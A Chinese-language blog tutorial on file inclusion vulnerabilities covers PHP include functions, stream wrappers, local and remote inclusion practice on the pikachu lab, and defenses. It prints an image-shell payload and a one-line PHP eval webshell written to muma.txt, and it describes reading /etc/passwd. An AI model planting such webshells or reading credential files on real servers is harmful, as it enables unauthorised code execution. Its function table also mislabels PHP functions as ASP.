首页 > 其他分享 >文件包含

文件包含

时间:2023-08-17 11:22:56浏览次数:26  
标签:文件 包含 漏洞 木马 靶场 include

文件包含漏洞

一、漏洞描述

  • 定义:使用函数去包含任意文件的时候,当包含的文件来源过滤不严谨的时候,当存在包含恶意文件后,就可以通过这个恶意的文件来达到相应的目的。

  • 原理:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

  • 常见文件包含函数:

    程序 函数
    ASP include() 、include_once()、require()、require_once()
    JSP/Servlet ava.io.file()、java.io.filereader()
    ASP include file、include virtual
    • include(): 执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
    • require0: 只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
    • include once0和 require once(: 若文件中代码已被包含则不会再次包含
  • 伪协议

    协议 解释
    file:// 访问本地文件系统
    http:// 访问 HTTP(s) 网址
    ftp:// 访问 FTP(s) URLs
    php:// 访问各个输入/输出流 (I/O streams)
    zlib:// 压缩流
    data:// 数据 (RFC 2397)
    glob:// 查找匹配的文件路径模式
    phar:// PHP归档
    ssh2:// Secure Shell 2
    rar:// RAR
    ogg:// 音频流
    expect:// 处理交互式的流

二、靶场实践

靶场采用pikachu靶场,建议采用本地自己安装的靶场,方便了解目录

1.本地文件包含
  • 利用条件:

    • php.ini 中 allow_url fopen=On (默认开启)

    • 用户参数可控且后台代码没有对包含的文件进行过滤

  • 读取本地的敏感信息,linux操作系统的/etc/passwd,如下图所示

  • 上传图片马,在读取本地的图片马,如下图所示

    1. 先上传一张图片马

      <?php phpinfo();?>
      
    2. 利用文件包含读取图片马

2.远程文件包含
  • 利用条件

    • php.ini 中 allow_url_fopen=On (默认开启) 和 allow_url_include=Off (默认关闭) 要开启

    • 用户参数可控且后台代码没有对包含的文件进行过滤

  • 远程文件包含漏洞

  • 远程文件包含写入木马等操作

    1. 先在服务器写入一段木马

      <?php file_put_contents("muma.txt",'<?php @eval($_GET["code"]);?>');?>
      
    2. 利用文件包含读取远程的一段木马,执行后页面是没有响应的,注意,靶场环境中需要给写的权限chmod 777,否则无法创建木马

    3. 执行写入的木马

三、漏洞防御

  • 严格判断包含中的参数是否外部可控。是文件包含漏洞利用成功与否的关键点
  • 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符
  • 包含文件验证:验证被包含的文件是否是白名单中的一员
  • 尽量不要使用动态包含
  • 设置 allow_url_includeoff

标签:文件,包含,漏洞,木马,靶场,include
From: https://www.cnblogs.com/xiaoyi208/p/17637114.html

相关文章

  • 删除windows版Adobe Photoshop (Btea)的Creative Cloud Files文件夹快捷方式
    计算机\HKEY_USERS\S-1-5-21-3673781915-3232438367-201350203-500\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace我的电脑是win11,其中的S-1-5-21-3673781915-3232438367-201350203-500可能有变化,其他的都是一样的,{0E270DAA-1BE6-48F2-AC49-A60F94A42F2......
  • 《控制台篇》头文件h和源文件cpp的区别
    头文件和源文件区别参考链接:https://zhidao.baidu.com/question/940855602014421372.html头文件和源文件在本质上没有任何区别。只不过一般:后缀为.h的文件是头文件,内含函数声明、宏定义、结构体定义等内容。后缀为.c的文件是源文件,内含函数实现,变量定义等内容。而且是什么后......
  • unity文件下载HttpWebRequest
    ///<summary>///下载进度///</summary>publicfloatProgress{get;privateset;}///<summary>///下载状态///</summary>publicintStatus{get;privateset;}///&......
  • java判断字符串是否包含某个字符(串)
    判断一个字符串是否包含某个子串的n种方法startsWith()contains方法indexOf方法startsWith()这个方法有两个变体并测试如果一个字符串开头的指定索引指定的前缀或在默认情况下从字符串开始位置此方法定义的语法如下:publicbooleanstartsWith(Stringprefix,inttoffset)orpubl......
  • go excel文件处理
    go excel操作packageutilimport("github.com/extrame/xls""github.com/tealeg/xlsx""reflect""strings")//ReadXlsxxlsx解析funcReadXlsx(sheet*xlsx.Sheet)(res[][]string){temp:=make([]......
  • SQL SERVER如何修改数据库文件逻辑大小
    要修改数据库文件的逻辑大小,可以使用ALTERDATABASE语句的MODIFYFILE子句。以下是修改数据库文件逻辑大小的步骤:查询当前数据库文件的逻辑大小和物理大小:USEYourDatabaseName;SELECTnameASFileName,sizeASLogicalSizeKB,size*8/1024ASLogica......
  • 重磅发布 |《汽车制造业文件外发数据防泄漏白皮书》免费下载!
    汽车制造业企业数据外发需求频繁,对很多车企来说,不仅有与异地研发机构间、供应商之间的协同研发文件交换,还有与外包供应商及零部件供应商之间的基于价值链的协同关系,这就导致车企需要对外与不同类型企业、组织,进行不同业务需求下的、不同类别的文件交换。传统的文件交换方式会存在......
  • 软件测试报告可以包含哪些测试内容?
     软件测试报告可以包含以下测试内容:功能测试:测试软件的基本功能是否实现,是否符合要求。性能测试:测试软件的响应速度、并发能力、稳定性等性能指标。界面测试:测试软件的用户界面是否友好、易于使用。兼容性测试:测试软件在不同的操作系统、浏览器、设备上的兼容性。安全性测......
  • redis配置文件:redis.conf
    配置项及说明配置项名称取值说明daemonizeyes、no是否启用守护进程(进程启动后在后台一直运行)。默认no。port Redis监听端口,默认6379bind 绑定的主机地址(只有符合条件的IP,才能用redis-cli登录该redis服务器并进行操作)bind和protected-mode控制了是否可......
  • .NET Core读取配置文件 配置文件可以是JSON、XML或INI等格式,需要添加 Microsoft.Exten
    .NETCore读取配置文件配置文件可以是JSON、XML或INI等格式需要添加Microsoft.Extensions.Configuration扩展包原文链接:https://pythonjishu.com/qipsfiygesyrqfi/下面是“.NETCore读取配置文件”的完整攻略:1.创建配置文件首先,我们需要在项目中创建一个配置文件,以便存......